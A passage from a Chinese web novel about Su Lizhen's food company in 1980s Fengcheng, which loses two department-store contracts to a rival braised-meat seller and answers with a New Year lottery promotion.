正如之前薛老爷子所说,这个人虽然有时候行事太过自我,但品性确实不坏,起码是有底线的。 这也让苏丽珍今后与对方打交道时,可以多少放心一些。 不过就算如此,她也决定把手里的模型迟些日子送出去。 她可还没忘呢,这人当初怎么为难他们,致使这本应该到手的合同生生推了一个月,中间耗费了他们大伙儿多少心力。 相比之下,她只是让对方多等上那么一段日子,也不算过分吧! 苏丽珍跟丁大勇一起先回了趟建筑公司,等安排布置好年会的事回火锅店的时候,时间已经过去半下午了。 结果刚到家,本来应该在食品公司那边的苏振东突然回来了。 他的表情不太好,苏丽珍看一眼就知道有事。果然,苏振东连身上的帽子围脖都来不及摘下,就跟苏丽珍道:“珍珍,出了点事,第三和第四百货公司突然要跟咱们解除供货合同。” 苏丽珍眉头微拧,上午拿下大合同的喜悦立时散去了不少。 她沉着气问道:“他们是怎么说的?” 苏振东道:“下午的时候,两个公司突然上门说要跟咱们中止合作,他们愿意支付违约金,只是从下个月开始,也就是明天起就不再销售咱们公司的产品,柜台也会撤掉。” “另外,还让咱们尽快安排人过去交接,把那边的库存和账目都交割清楚。” 当初和四家百货商店洽谈的时候,因为苏丽珍坚持保留定价权,除了第一百货的吕经理之外,其余三家或多或少都有些不满。 尤其是第三和第四百货,很长一段时间都对他们颇有微词。 所以实话说,对于今天这个局面,苏丽珍是有所预料过的,只是没想到会来得这么快而已,毕竟满打满算,双方合作的时间也不过半年。 也因为早就看出对方不牢靠,所以当初签合同时候设定的违约金金额就不算大。 不说对方防着他们,苏丽珍自己这边也没想过非要跟对方“绑死”。 这也是她当初一力坚持保留定价权,积极开拓自己的分销渠道的原因,就是不想遭遇这种突如其来的“卡脖子”。 而且对于现在的“珍珍”来说,这两家百货公司的销售渠道已经远不如公司刚成立那会儿重要。 经过这半年时间的发展,如今销售部已经打通了省内大大小小的市、县百货公司和供销社,成功建立了以凤城为中心,辐射全省的销售网。 而在此基础上,今年他们还会在凤城周边城市发展一批经销商和代理商,争取将这个销售网进一步细化升级。 再加上铁路线上的销售模式,之前苏丽珍亲自招聘的冷刚,因为受到苏丽珍的启发,坐了两个多月的火车,终于在阳历年前拿下了东北几条重要铁路干线上的商品销售权,成功把他们“珍珍”食品送上了凤城站以外的火车。 可以说,照这个模式发展,比起担心产品滞销,他们首先更应该考虑的是该如何扩大产能的问题。 所以没了第三、第四百货公司的销售渠道,固然有点可惜,但也不算什么大事。 如果对方能好声好量地提前过来商量,让公司有个准备,不至于说正好卡在眼下年关销售旺季的时候耽误事,苏丽珍什么都不会说。 像现在这种只提前半天上门提解约的做派,不就是纯粹在恶心人吗? 更何况合作刚半年就火急火燎要解约,这节骨眼上,不知道的还以为他们公司出了什么事呢! 说对方不是在故意打他们脸,苏丽珍才不信! 她眼中闪过冷意,这件事自然不能就这么算了,不过她还是先宽慰苏振东道:“振东叔,您别多想。那位常经理一直看咱们不顺眼,他是个爱上蹿下跳的,再加上第四百货那儿还有一个拎不清的,这合作必定长不了,不过是早一天、晚一天的事。” 说到这里,她忽然想到什么,眼睛微眯,“那常经理一向自视甚高,又好大喜功,一心一意要往上爬,所以明明看不上咱们,还是捏着鼻子答应让咱们的产品进驻第三百货……现在他突然反悔,肯定是找到比咱们更和他心意的‘替代品’了。” 苏振东感叹苏丽珍心思敏捷,点了点头道:“还真是被珍珍你说中了。第三和第四百货公司的人走后,我就给吕经理打了个电话,想打听究竟是怎么回事。” “吕经理起初很惊讶,似乎完全不知情,后来他坚持要找人问一问,过了半个小时,才又给我回电话。” “电话里,他告诉我这阵子那位常经理不知道从哪儿认识了一个很会做熟食的人。据说这人的手艺不错,做的熟食已经在第三百货试卖了一段时间,所以常经理才起了心思,先说服了第四百货的陈总,两人一起中止跟咱们的合同,然后转而和这个人合作。” 苏丽珍听到这里,不禁冷笑一声:“这位常经理可是个心大的,吕经理那里不提,想必应该也去找过第二百货了。” 第二百货的负责人姓刘,是个相对比较好说话的人。 当初火锅店的酒水生意就是最先跟第二百货谈成的,所以苏家人跟这位刘经理也简单认识过,那会儿彼此的印象都不错。 所以即便后来刘经理不太乐意让他们拿走定价权,可到底也没说什么,这半年的合作也比较顺利。 不过苏丽珍不会天真的认为,第二百货这次没有跟第三、第四百货一起行动,就代表以后一定会相安无事。 只能说是尽最大的努力争取,同时做最坏的准备面对。 苏振东还没想到这一点,不过想想那位常经理既然都拉拢第四百货了,十有八九也找过第二百货。 “吕经理电话里倒没提起这些,不过我约了他明天中午过来吃饭,到时候估计能打听到更详细的情形。” 苏丽珍点了点头:“应该的,等过两天再把刘经理也一起约出来。” 苏振东自然不会反对,第三和第四百货已经这样了,第二百货刘经理那里还是应该好好维护的。 他又想起来道:“还有,我接了吕经理的电话后就让王树调出了近一段时间第三和第四百货商店的销售数据。第四百货没什么问题,但是第三百货从十天前开始数据就基本没怎么变过。” 年前这段时间是产品的销售旺季,“珍珍”的卤味礼盒这几年一直是很多人走亲访友的首选,非常受欢迎。 所以从进了腊月开始,包括本地五家门店在内的所有代销点销售数据都有所上涨,从上周开始一些规模较大的城市百货公司数据甚至已经翻番了。 这种情况下,第三百货公司连续十天销售数据没有变化恰恰才是出了问题。 “出了这事,王树一直很自责,觉得自己没能及早发现问题。”苏振东说着,叹了口气,“其实这事主要责任在我,最近我把心思都放在下面这一批县市新设立的代销点上,还有冷刚谈回来的火车合同,倒是把家门口的事给疏忽了。” 自打苏振东开始接手负责食品公司的日常管理后,就把王树调到身边,一方面帮他处理一部分日常事务,同时还监管凤城本地几个渠道的销售情况。 所以出了第三百货这个事,王树是应该负责任的。 毕竟,一个合格的市场管理人员应该时刻保持着对各种销售数据的敏感,一天两天也就算了,十天还看不出问题,那自身的问题也不小了。 不过苏丽珍也理解。 他们公司是市内第一批私营企业,包括苏振东在内大家都是摸着河头过河,什么“市场经济”“企业文化”这些东西,往前,他们没有可以参照的对象;往后,他们背负着经济制度变革期无数人好坏参半的关注,大家的压力都不小。 加上现在公司确实人手不足,无论是苏振东还是王树,其实都在高负荷地承担着各项工作,所以苏丽珍不打算在这件事上过分责备王树。 王树,她尚且不准备苛责,更何况是苏振东。 “东叔,您别这样说,人都有顾不到的时候,我不是t最近也一直在忙‘筑梦’那边的事吗?说来说去,还是咱们手头上可用的人太少,你们身上的担子太重了。” 所以还是得想办法挖人啊! 不过虽然不打算在这件事上追究王树,但有些话,她也必须要说。如今公司还在起步阶段,加上市场规则不完善,偶尔出错也不要紧,可是今后随着公司规模不断壮大,反而容错率会大大降低,任谁也好,都不能再轻易犯错。 他们注定要走一条很长的路,未来会遇上数不清的机遇和挑战,甚至危机。她希望身边这些老人能把握住机会,提升自己,不要掉队,至少不要因为一些可以避免的低级错误而掉队。 苏振东听懂了苏丽珍的意思,知道她还是看重王树的,便点头道:“我会跟他好好谈一谈的……其实元旦前两天,王树倒是跟我说过,开年想报个电大,多学点知识充实一下自己。” “只是这段时间事情多,我也忘了问他复习的怎么样了。” 跟公办单位可以直接推荐学员免试就读不同,个人或者私人企业的员工想上电大,必须经过考试,考核通过后才有资格去上课。 不过,这话却是提醒了苏丽珍,她略一思索,便对苏振东道:“东叔,回头你让人拟一份通知,告诉咱们公司的人,今后不管是哪个部门的,如果对方有心想继续深造,只要能考上的,学费全部由公司出。” “此外,咱们还会视情况给予一定的生活补贴,唯一的条件就是员工拿到毕业证后必须留在公司五年。” 苏振东不由眼睛一亮:“这个主意好!不过,五年时间会不会短了点?” 不是他太贪心,实在是眼下人手短缺,能培养出一个优秀的员工更是不易。 如果员工们能克服工作和生活上的困难,通过自己努力,深造成功,这样的人就算不如何出类拔萃,起码是有毅力、又肯上进的,很适合公司费心思栽培。 五年时间不算长,毕竟上个电大,全部课程结束也得小二年的时间。万一好不容易把人培养好了,转头又走了,这不是亏本嘛! 苏丽珍笑道:“东叔,其实五年和十年没太大差别,因为想把人留下,光靠这些死规矩可没什么用。如果心不甘情不愿的,就算留下也实现不了多少价值。” “所以这历来是一个双向选择的问题,咱们为招徕人才,千金买骨;同时公司自身也要做大做强,保证优势。只有咱们栽下的梧桐树够大够多,才能引来一只只金凤凰啊。” 苏振东仔细琢磨了一下,也觉得苏丽珍说的有道理。 不管干什么,打铁还需自身硬,这不只是说个人,同样企业也一样嘛。 叔侄俩正说着话,忽听包间外李翠英招呼道:“珍珍、振东,王树来了!” 王树不但突然来了,还带了不少东西。 第193章 “小苏总,东副总,我私下联系了第三百货公司给咱们看货柜的售货员,从她那里打听到了一些消息,我就先回来给你们汇报了。” 苏丽珍让苏小麦给王树倒了杯红糖姜茶,让他先喝一口暖暖身子再说。 王树却很着急,只浅浅抿了一口茶水,就竹筒倒豆子似的说起来。 “小苏总、东副总,张姐,哦,就是第三百货帮咱们看柜的人,她告诉我,大约十多天前,他们常经理突然带了一个二十多岁的年轻人在咱们货柜前转悠了半天。” “然后第二天,那个年轻人就送来了一批熟食,常经理就把这批熟食都安排在了咱们货柜边。这批熟食起名叫‘好味’,据说都是这个年轻人做的。” “张姐打听过,这人叫江宏达,之前是摆摊卖酱菜的个体户,似乎跟常经理有点亲戚关系。” 说着说着,王树的语气开始不忿,“自打这个‘好味’在第三百货上架后,从专柜的设置、商场内宣传,到后期收款盘账,常经理都特别上心,一再叮嘱张姐和财会那边全都比照着咱们‘珍珍’的来。有时候他还亲自盯梢,但凡有客人来买熟食,就让张姐优先推荐‘好味’,甚至好多次还让她撒谎说咱们‘没货’。” “我看过了,‘好味’的熟食种类没有咱们多,只有鸡、鸭、猪头肉、猪肘和猪蹄这几样,但是每一种都比咱们的售价便宜三毛钱。比如这几样中卖的最好的五香鸡,同样的净重两斤的份量,他们一只鸡只卖三块七。” 说着,王树就把他带来的一大包东西拿出来:“我把‘好味’的熟食每样都买回来了一点,小苏总、东副总,你们看看!” 苏丽珍点了点头:“树哥,你有心了。这次花多少钱,回头到财务报销。” 王树听到这话,却微微垂下头,声音闷闷的、却十分坚决道:“不用了,这次是我失职……我就是想做点什么稍稍弥补一下。” 对王树的应对,苏丽珍整体还是满意的。能意识到自己的错误,不推脱、不逃避,会尽快调整好情绪,选择第一时间去查证,并在这么短的时间内,筛选出这么多信息。 这些都足以证明王树无论是人品还是才干都很不错。 这也是苏丽珍愿意给他更多机会的原因。 既然要品尝食物,苏丽珍就把苏爷爷他们都喊来了,家里有专业的大厨,品鉴食物自然不能少了他们。 她先将王树买到的几种熟食一样样从网兜里拿出来,依次摆在桌面上。 首先看包装,就是寻常包食物的油皮纸,然后上面用粗粗的碳素笔简单标了个“好味五香鸡”“好味五香猪肘”等品名,其他诸如生产商、食材配料一概皆无,甚至连生产日期也没有。 不过现在这种过分简洁的包装并不少见,大多数人还是能接受的。 她挨个将油纸包拆开,用刀依次切下几片肉,叫大家都来尝一尝。 嗯,怎么说呢,这几样熟食虽然没有他们“珍珍”的卤味那么入口惊艳,但细细咀嚼后却格外有一种特别的香味,非常耐品味。 尤其是其中的“五香鸡”,其他几种熟食不知道是因为食材处理手法略逊还是调料配比问题,总有一些发腥或肥腻的问题,唯独这款“五香鸡”,味道不浓不淡,肉质细腻酥烂,吃一口回味十足。 便是苏厚德也能给打八分的程度。 要知道老爷子平时给自己和李翠英做的菜评分大多也就这个程度,甚至初次试菜的时候有一半的概率只勉强能拿七分。 苏厚德细细尝过一小块鸡胸肉后,才放下筷子道:“这个五香鸡用了一味很独特的料,依照我猜测,应该不是具体哪一味的香料,更像是用了某种自家研究的独门配料,比如酱汁、料汁一类的。” 李翠英也在旁边点头附和:“我也这么想的!这个香味太特别了,跟咱们平常见过的那几种配方调料都不一样。” 苏丽珍心里感慨,难怪第三和第四百货敢一下子把事情做这么绝,原来是有点底气的。 苏振东忍不住皱起了眉头,事情比他预想的要糟糕,这个叫江宏达的人手艺不错,做出来的卤味也算有卖点,要是寻常的时候,他倒也不怎么担心。 但是眼下有第三和第四百货暗中扶持,说不上这人就要成为他们的劲敌了。 本来劲敌就劲敌吧,他们也没在怕的,只是一想到这次第三、第四百货在背后扮演的角色,先是光明正大照搬他们“珍珍”的模式,然后踩着他们一点点趟出来的路子,却反过来对付他们,这行径实在叫人恶心。 他心里这么想,脸上便带出来了一些。 苏丽珍与他共事许久,见他如此,猜到他心中所想,便主动宽慰道:“东叔,您别生气,这也不是什么大事。您忘了我之前跟您说的,咱们未来要走很长一段路,这一路上不知道要遇到多少人。伙伴也好,对手也罢,咱们不可能指望所有人都规规矩矩的。” “只要咱们自己够强,那些只会背后算计的小人最终也只能被咱们远远甩开,甚至是踩到脚底。” “您该对咱们有信心!” 苏振东闻言心情稍缓。不错,他们可不像那些小人,只会用些歪门邪道的方法。他们有技术、有品牌、有设备,他还就不信了,这样还赢不过那些只敢背后下搞小动作的家伙? 不过,临了还是问了句:“那珍珍,你心里有什t么想法吗?” 苏丽珍也不瞒他:“有了点眉目,具体等明天咱们跟吕经理碰面后再说。” 其实针对这种情况,她之前是有做过预案的。毕竟就算现在的市场前景好,那也不可能真的就遍地黄金,只等你一个人来捡。 更不说上辈子在国外,她也多多少少见识过那些大企业们遇到的大小风波,有时候真是说不准哪块云彩有雨,叫人防不胜防。 因此这两年,她把各种能想到的突发情况,都提前做好了应对方案。 其中,也包括常经理和江宏达这种情况。 不过,知己知彼,百战不殆嘛!能先从吕经理那里了解到更多信息也好,这样她也更有把握一击即中。 翌日中午,吕经理比约定时间早到了十几分钟。 三年下来,从第一百货的销售科主任到总经理,从火锅店经营的酒水到苏家生产的卤味,吕经理跟苏家打交道的时间真是不短,双方也算是老熟人了。 所以苏丽珍和苏振东把人迎进包间后,压根不等问对方,就直接上了一桌子好酒好菜,其中大多数都是吕经理喜欢的口味。 吕经理心里受用,加上表侄齐志飞如今在“珍珍”食品公司车间里管事,整个人如今像换个人一样,再没有过去因残退伍时的颓废,他内心也是十分感激对方的。 他知道这次过来的目的,索性直接省了以往的寒暄客套,上来就直奔主题,将这近一天时间打听到的消息都告诉了两人。 吕经理知道的果然比王树了解的更多。 “这个江宏达是个返城知青,回来后一直没找到工作,家境也不大好,有个体弱的母亲和一个残疾的姐姐,全家就靠他摆摊卖酱菜撑着。他也不是什么老常的亲戚,只不过是他的邻居想巴结老常,就找他做了两只卤鸡给老常送礼,老常这才知道有这么号人物。” “也不知道老常是怎么跟他谈的,他的这款‘好味’熟食在两家百货公司上架,居然给老常他们20%的提点。” 听见这话,原本端着茶杯喝茶的苏振东差点呛着! 苏丽珍也直接挑起了眉头。 苏振东咳嗽了几下,顾不上狼狈,赶忙追问道:“是毛利的20%?” 吕经理点头:“就是毛利的20%!” 苏振东和苏丽珍对视一眼,忍不住脱口道:“那他这还能挣钱了吗?” 自打83年企业工人工资上调后,物价也涨了不少,就拿鸡肉举例,如今自由市场上活鸡售价普遍在0.7元到0.75元之间,大宗批发应该能压到0.6元。 这个价格已经是个人能在批发市场上拿到的极限了。 “好味”的五香鸡净重跟他们一样都超过了二斤,要保持这个净重,活鸡就必须毛重在三斤以上。 所以一只鸡的成本就达到2元了,而五香鸡的售价是3.7元,再去掉给百货公司20%的提点,到手就不足一块钱了。 这里面还要再次刨掉人工和场地费。苏丽珍估计以他要给两家百货公司供货的体量,从各种原材料采购到制作、再到运输,他至少需要雇两个人; 场地也是同样的道理,能支应开这样的摊子,在家里肯定不行。当然这也不是绝对的,只是考虑到对方家境不好,估计这笔钱不一定能省下。 最后再加上香料、燃料、包装、运输和百货公司销售和财会的好处费,甚至都没算上投入使用的锅碗瓢盆和其他损耗,这钱就已经不剩多少了。 所以这人忙碌一圈,很可能最终到手的也没几个。 而与江宏达不同,他们这边因为有省养鸡场和自己的养殖基地供货,等于手握两条供应线,从源头上就把食材成本压下来了。同样是鸡肉,苏丽珍这边可以把价格压在0.45元左右。 加上建设工厂,全部产品都是机械化批量生产,他们生产的产品越多,均摊在每个产品上的成本反而越低;同时,标准化的流程也使原材料利用率大大提升,更是进一步把成本压缩到极致。 可以说,放眼目前国内所有食品行业的生产和管理水平,他们“珍珍”在成本控制这一块绝对是第一阶梯。 也是对利润这块比较有信心,所以当初苏丽珍大方地给了四家百货公司10%的提点,成功堵住了第三和第四百货的嘴。 可别觉得10%的提点少,要知道在计划经济体制下,加上受科技水平制约,很多企业的产品利润非常低,甚至一部分企业基本就是维持在不亏本的程度,毕竟一切要以完成国家统购统销的任务为先,就算赔本也正常。 这种情况下,百货商店和供销社自然没法随心所欲地定价,只是这几年才逐步开放,加上一些个体和私营企业生产的产品也开始进店上架,他们才真正意义上对价格有了一定话语权。 像苏丽珍给对方10%的提点,从送货上门、设专柜,到给销售员和财会人员提成补助,百货公司不用操一分钱的心,一只卤鸡就净赚0.4元。 苏丽珍也觉得不少了,毕竟当初有些懂行的人还暗示过她,就现阶段来说,这个提点其实可以砍掉一半,毕竟以他们的销量,5%就挺可观了。 然而苏丽珍当时一方面为了快速占据凤城本地市场,然后借着凤城省会的便利把销售网铺满全省;另一方面也是为了投桃报李,给从中牵线搭桥的吕经理一个面子,还是选择了10%。 只可惜,有人贪心不足,倒显得她当初的大方有点自作多情。 至于,那“好味”20%的提点,苏丽珍不置可否。 她不确定这是那位常经理的主意还是那个江宏达的,如果是前者,倒是很符合对方一贯的贪婪,恨不得让人家直接白干; 要是后者,那就有点意思了。都说“舍不得孩子套不着狼”,能舍得下这么大的本钱拉拢常经理和陈经理(第四百货),也难怪这两人不惜直接跟他们撕破脸了。 吕经理把打听来的消息告诉两人,末了,才一脸歉意道:“这事是我的错,没能及时发现老常的歪心思,让他们偏赶上这时候闹腾,给你们造成损失,真是对不住。” 今天都腊月二十一了,明眼人都能看出来,年前这十来天正是“珍珍”各种产品的销售高峰,老常他们却突然把人踢出去了,这得耽误人家多少买卖? 这不是明摆着坑人吗? 说实话,他知道这事后,对老常和老陈特别不满。 本来他想着都是一个系统的,有好处大家分嘛,所以当初才一力促成两边合作的事。可现在看来,人家压根没瞧得起他,要不然也不能给他弄这一出! 他们不仅是把苏家人的脸面往地上踩,也一样是在打他的脸。 这件事,他可是记住了! 苏丽珍道:“吕经理,您别这么说。都说‘锦上添花易,雪中送炭难’,您每次都是在我们遇到困难的时候主动帮忙,这于我们来说,就是雪中送炭的情谊,我们一直记在心里的。” 苏丽珍这话说得真诚,加上打从昨天到现在,苏家在他面前一句抱怨的话都没提过,甚至连搞事的常、陈二人,也没说过一个不字,可见人品气度之高。 对此,他还是比较服气的,也越发看好苏家人。在他心里,必然是这种荣辱不惊的人才能干大事。 吕经理有心进一步交好,姿态放得也很低。 “大侄女,振东老弟,咱们之间自然是没啥说的,我话就撂在这儿,只要我还在第一百货一天,那谁也越不过你们。” “而且我还能跟你们交底,不光是我,就是老刘那边也绝不会有二话。老刘是个明白人,心里有杆秤,也不会干出老常他们那样背后捅刀子的缺德事,你们尽管放一百个心。” 第194章 苏丽珍和苏振东对视一眼,一听这话心里就都明白了,姓常的果然去找过第二百货的刘经理,只不过对方没接茬。 这个刘经理也是聪明人,既然选择了要跟他们继续合作,那这时候主动提出来肯定能卖个好,只不过自己巴巴地跑过来说未免落了下成,所以就借着吕经理来表态。 当初“珍珍”和四家百货公司合作主要是吕经理牵线搭桥,刘经理这样做其实也维护了吕经理的脸面,那吕经理自然要投桃报李,把刘经理的态度透露给他们。 这才是聪明人干的事,眼光长远,有私心但不贪心,遇事立场分明,看准t时机还能做个顺水人情。 对比那姓常的,可真是高下立判。 两人听话听音,这时候自然也要及时表态。 苏丽珍就着吕经理之前的称呼,顺势改口:“吕叔叔,不说我们之前和刘经理一直合作得很好,就是冲着您这边,能叫您这样的人一直交口称赞的人物,我们自然一百个放心。” 苏振东也道:“对、对,之前珍珍还跟我说,想请您和刘经理一起吃顿饭,就是担心年底事多,怕你们抽不出工夫。” 吕经理忙道:“忙也不差这一会儿!现在凤城人谁不知道你们家的火锅和卤味多好吃,能叫他白来吃一顿,他都要偷着乐了!” 苏丽珍便笑眯眯道:“吕叔叔,我们家其实不光有火锅和卤味,我干爷爷做的菜也是一绝。我看择日不如撞日,不如您就把刘经理请来,我们今晚再预备一桌!火锅您中午吃过了,那就再试试炒菜,我们家样式多,咱们都尝尝。” 吕经理愣了一下,没想到苏丽珍今晚就想约人,他心念一动,面上痛快道:“好,我一会儿回去就给他打电话,他保证来!” 说罢,又忍不住试探道:“不过大侄女啊,吃饭的事其实也不急,就是眼下这正是卖货的好时候,眼瞅着你们就要被耽误了,不知道你们现在是怎么个章程?” 苏丽珍正要回答,这时苏小麦忽然拿着两份报纸进来了。 她接过其中一份,只见这份报纸背面两个版面中间那一条,靠下大约一个豆腐块大的地方印着一条广告,赫然是第三百货和第四百货出售“好味”五香鸡的消息。 上面甚至还写着“卤味选‘好味’,一样好滋味,只卖良心价,谁买谁实惠!”这样的话。 这则广告两份报纸上都有,虽说位置都不太好,但以眼下报纸的受众之广泛,还是不难被人发现的。 苏丽珍心里冷笑一声,看来这位常经理倒是很会抄作业。 这些广告显然靠江宏达是搞不定的,毕竟就算是这么两块不起眼的“豆腐块”,那一期的费用也不少。 从她了解的江宏达的情况看,对方现在怕是给两家百货公司供货的前期成本都不一定凑得齐,恐怕没什么心力再花这个钱了。 再看看这若有似无踩着他们“珍珍”的广告词,怕是少不了那位常经理的手笔。 这次还真是下血本了。 正好,他既然这么舍得,那她也不介意再助他“一臂之力”。 苏丽珍收起报纸,接着吕经理之前的话,笑眯眯答道:“吕叔叔,您和刘经理都是我们的贵人,请你们吃饭自然也是头等大事。” “至于旁的……其实您刚刚那句话说的很对,眼下这几天确实是卖货的好时机,而且我一向信奉和气生财,有钱大家一起赚嘛!所以我觉得不光我们公司要挣钱,您和刘经理这边也是提高营业额的好时候。” 本来她从没想过要独占市场,也早就料到过随着她的“珍珍”品牌做起来后,肯定会出现大批跟风者,这当中也必然会有一小部分是真正有能力、也有实力跟“珍珍”一争高下的。 如果是光明正大比拼,她不惧、也不恼,愿意奉陪到底。 但谁要是打着踩着他们肩膀往上爬,爬完还要回手把他们梯子抽掉的主意,那就别怪她把那双犯规的爪子剁掉。 腊月二十三,北方小年。 正午的阳光透过罩着一层塑料布的玻璃窗照进屋内,与靠墙的暖气片兢兢业业散发的热气一起,共同驱散了来自漫长冬日里的酷寒,让挨家挨户的小屋里短暂地重现春天般的温暖。 家住城南区利民大街红星胡同的李大妈,刚在灶房把最后一锅粘豆包蒸好。她抹了把额头上沁出的汗水,看了眼外面的日头,便快步走到前面堂屋,推门就催促道:“老闺女,快,你再给妈上第一百货跑一趟,看看那‘珍珍’家的熟食到货没?” 一个约莫十三、四岁,正趴在书桌上听收音机的小姑娘闻言,有些不高兴地直起身,拧着眉头看向李大妈道:“妈,人家百货公司和分店柜台上不是都贴了通知吗?‘珍珍’卤味这两天产品调整,最早也要腊月二十四才能有货,那我现在去了不也白去吗?” 也不知道这“珍珍”卤味搞什么,早不调整、晚不调整,偏偏赶上这大年跟前儿调整上了! 而且一调就是两天,害得他们昨天白起了个大早,本以为能在百货商店开门时第一批进去抢购,结果却是一盆冷水兜头浇下。等不死心又跑了其他几家卖“珍珍”卤味的分店,也照样空手而归。 李大妈这边虽然明白闺女说的对,但潜意识却有点侥幸心理,总想着万一人家提前来货呢,便哄着小姑娘道:“这也不一定!他们只是卖货的,万一人家‘珍珍’生产厂家今天下午就调整完,然后就有货了呢?闺女,要不你再给妈跑一趟咱这片的‘珍珍’直营店,我琢磨那是人家厂家自己开的店,要是来货肯定比第一百货早!” 小姑娘不由撇了撇嘴,反驳道:“妈,这两天咱们不是把那几家店都跑遍了嘛?除了第三、第四百货含含糊糊之外,人家第一百货和第二百货,还有几家分店全都贴了通知,那通知上的内容都一模一样,连一个字都不带差的!而且人家销售员也一再强调,来货会统一上架,根本不会出现你说的那种情况,你就消停消停吧!” 他们这片的“珍珍”分店比第一百货还远呢,这么冷的天,她可不想瞎折腾! 不过他们家住在城南和城西交汇的地段,真说起来,其实第三百货倒是离的最近,要是不怕巷子里路滑,穿小道的话,六、七分钟就能到。 是以小姑娘看着自家老娘有些发黑的脸色,赶忙找补道:“妈,东院林大娘不是说第三百货现在卖的熟食味道也不错嘛?尤其是那款五香鸡,听说也就比‘珍珍’家的卤鸡和熏鸡差了那么一点。您要实在着急,咱们不如就去买那个吧,反正价钱还能便宜点呢!” 李大妈闻言没好气儿道:“这是便宜不便宜的事吗?那不是你欣欣姐她爸只喜欢‘珍珍’家做的熟食吗?再说,差了就是差了,差一点也是差。” “咱们家的条件远不如你欣欣姐家,可你欣欣姐家里可从来没有瞧不起你哥、瞧不起咱们!马上过年了,这别的好东西咱拿不出来,难得知道你欣欣姐她爸好这一口,咱咋地也得想招给他买回来。可不能总想着对付,人家跟咱儿实着心呢,咱也不能糊弄人家!” 说着,又忍不住数落起自家闺女来:“你也是个小没良心的,你欣欣姐平时给你买这、买那儿,比我这个老子娘对你都好!你倒好,让你现在跑个腿就推三阻四的,真是白疼你了!” 小姑娘被自家老娘排揎得直缩脖子,再想想她准嫂子平日里对自己的好,也难得有点心虚,只得不甘不愿地应允道:“那好吧,我就跑一趟……不过咱们说好,我就走这一趟,要是还没有,你可不许再折腾我了!” 李大妈正要点头,忽听外头一阵喧哗声,娘儿俩对视一眼,默契地同时推门往院子里跑。 站在院子里动静更大了,娘儿俩又奔着声音跑到院门外。 市区地少人多,家家的院子短小,只几步的工夫就能走到院门外。 娘儿俩出来的时候,正好跟东院邻居林大娘碰个正着。 “李家妹子,出啥事了?” 李大妈摇头:“我也不知道,听这动静像胡同外头,咱去看看!” 她心里想着,别是又抓住贼了吧? 上个月,前面胡同里抓住一个贼,那家住户把那贼直接提溜到胡同外头大道上,叫这一片的住户都来认了脸。大家伙儿平时最恨这些偷鸡摸狗的坏分子,那会儿恨不能一人一口唾沫,把那小贼淹死。 这眼下年跟前儿了,都说年关难过,别是又闹起了贼偷。 李大妈心里想着,手上动作利索地把院门挂了锁,拿起钥匙就和闺女、邻居一起直奔胡同口,声音传来的地方。 结果还没等到地方,老远就看见胡同口那里站了不少人。人声嘈杂,热闹的活像到了菜市场,而且人群中还夹杂着有人拿大喇叭喊话的t声音。 离胡同口越近,大喇叭喊话的声音也越明显。 等李大妈三人费了牛劲穿过人群,挤到外面的大道上,探头一看,立时被眼前的场景惊呆了。 只见胡同口旁边的大道旁正停着一辆军绿色解放车,车头、车身上扎了好几朵鲜艳的大红花,车厢三面挡板上也挂上了一圈红绸布,喜庆得不得了! 而且车厢两侧还各竖起了一面木架子,架子上各张贴了一面长、高都超过1.5米的超大幅海报。 海报上头几行字也是格外的大,李大妈她们隔得这么远都能看清上面写的字:“‘珍珍’食品年终福利大放松,过年买‘珍珍’参与幸运抽奖活动,电视、自行车、缝纫机、各种代金券免费带回家!” 然后,还不等李大妈她们反应过来这两行字是什么意思,就听那车厢里站着的一个小伙子拿着大喇叭对外嗷嗷喊起来: “好消息、好消息!为了回馈咱凤城本地的父老乡亲,‘珍珍’食品有限公司将在腊月二十四到腊月二十九期间举行购物抽奖活动!” “凡是在活动期间在指定地点购买‘珍珍’食品的顾客,只要购物金额满两元即可参与一次抽奖活动。” “奖品有特等奖一名:18寸彩色电视机一台;一等奖三名:14寸黑白电视机一台;二等奖五名:自行车一辆;三等奖六名:缝纫机一台;四等奖八名:一百元百货公司代金券;五等奖十名:五十元百货公司代金券;六等奖二十名:二十元代金券” “此外,还有多达一百名的两元代金券纪念奖!奖品多多,机会多多,‘珍珍’愿您开开心心过大年!” 这番话直接叫人群里炸了锅! “哎呀妈呀,我没听错吧?买‘珍珍’家的卤味还能抽奖?你们听听这奖品,电视机、自行车,还有缝纫机,都是好东西啊!” “还有那什么百货公司代金券呢!又一百、又五十的,这代金券是啥玩意儿啊?” 就有懂行的人给解释:“知道外汇券不?都一个性质,百货公司的代金券就是能直接在百货公司买东西的一种票据,跟钱一样!” 这可把周围的人激动够呛:“那不就跟发钱一样了嘛!” 大家正热火朝天的议论着,就听那举着大喇叭喊话的人又开腔了:“我再重复一遍啊,本次活动地点仅限于第一、第二百货公司和‘珍珍’的五家直营店。” “五家直营店的具体位置是:XXX。活动正式开始时间:明天腊月二十四上午八点。请大家千万不要记错,也不要走错!说不定你们晚来一会儿,那水灵灵的电视机和自行车就成别人家的了!” 这话说的众人心里更像是长了草一样! 本来要过年了,就算是再怎么节省的人家,这时候也想买点好的甜甜嘴,更别说还要备礼品走亲访友、维护人情。 “珍珍”家的东西虽说价格小贵,可人家也确实做的好吃,所以就特别拿得出手,本身他们也不亏,眼下又赶上这么个购物抽奖活动,买两块钱就能抽一次奖,比如买一袋他们家的卤鸡或者卤鸭是四块钱,那一下就能抽两次。 反正这钱必须得花,那不如就花在这儿,万一手气好,抽到个自行车、缝纫机啥的,这不就等于天上掉金子了吗? 就算抽不到大件,弄个五十、二十的百货商店代金券,那也是一笔小财啊! 大伙儿是越想、心越热,只恨不得现在就冲到那几个活动地点,好好试一试手气。 与此同时,大伙儿身后忽然响起两声汽车喇叭声,众人回头,原来身后又开来一辆跟眼前一样布置得“花里胡哨”的大汽车,不用说,肯定也是宣传“珍珍”家活动的。 果然那汽车开过来后,就停在了先前这辆车对面,司机从里面探出头来招呼那喊话的小伙子:“辉子,我这边差不多了,你还差哪个地方没去呢?” 那叫辉子的小伙子连忙道:“张哥,利民大街这片我跑完了,一会儿再去西边第三百货那条街上再转转就完事了!” 司机点了点头,很快就开车走了。 辉子在原地举着喇叭又把先前的话喊了一遍,确定附近的人都听得差不多了,就跳下车厢,准备开车离开。 这时候,站在人群最前面的李大妈一个“激灵”,赶忙上前拽住人打听道:“小伙子,你们这还上哪儿宣传去啊?” 辉子憨憨一笑:“大娘,主要是第三和第四百货公司那两片儿。因为这俩地方这次都没活动,怕他们那边的人不知道,所以上头交代我们多往那边转转。” 李大妈看着喜庆的大汽车一路慢悠悠地开走,忍不住直拍大腿,看这样,这全凤城的人都知道这好事了! 